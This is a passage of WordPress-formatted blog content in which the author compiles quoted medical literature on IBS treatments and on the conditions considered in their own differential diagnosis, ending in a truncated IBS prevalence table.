-->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091003\">Loperamide in Treatment of Irritable Bowel Syndrome—A Double-Blind Placebo Controlled Study: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helps diarrhea and diarrhea-related symptoms.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The effects of loperamide in patients with IBS (all had diarrhoea as a main symptom) were studied in a double-blind placebo controlled trial. Subjective overall response, stool consistency and six individual symptoms (urgency, pain, frequency, flatulence, borborygmi and painful propulsions) were studied over a 13 week long treatment period. Twenty-one patients out of 25 completed the trial, 11 in the loperamide group and 10 in the placebo group. A significant advantage for loperamide was found for stool consistency (p&lt;0.001), pain (p&lt;0.02) and urgency (p&lt;0.05). Subjective overall response was also significantly better in the loperamide group (p&lt;0.03).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Fecal transplant</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results vary really widely. Worth a shot if you\'re desperate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/\">Efficacy of Fecal Microbiota Transplantation in Irritable Bowel Syndrome: A Systematic Review and Meta-Analysis (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis threw out half the studies for not being well-performed. The rest are presented below. Note that two of them show a big positive effect, and two of them do not. The two negative ones did capsule, the two positive ones did colonoscopy and nasojejunal tubes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/bin/nihms-1581604-f0002.jpg\" alt=\"An external file that holds a picture, illustration, etc.\nObject name is nihms-1581604-f0002.jpg\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI 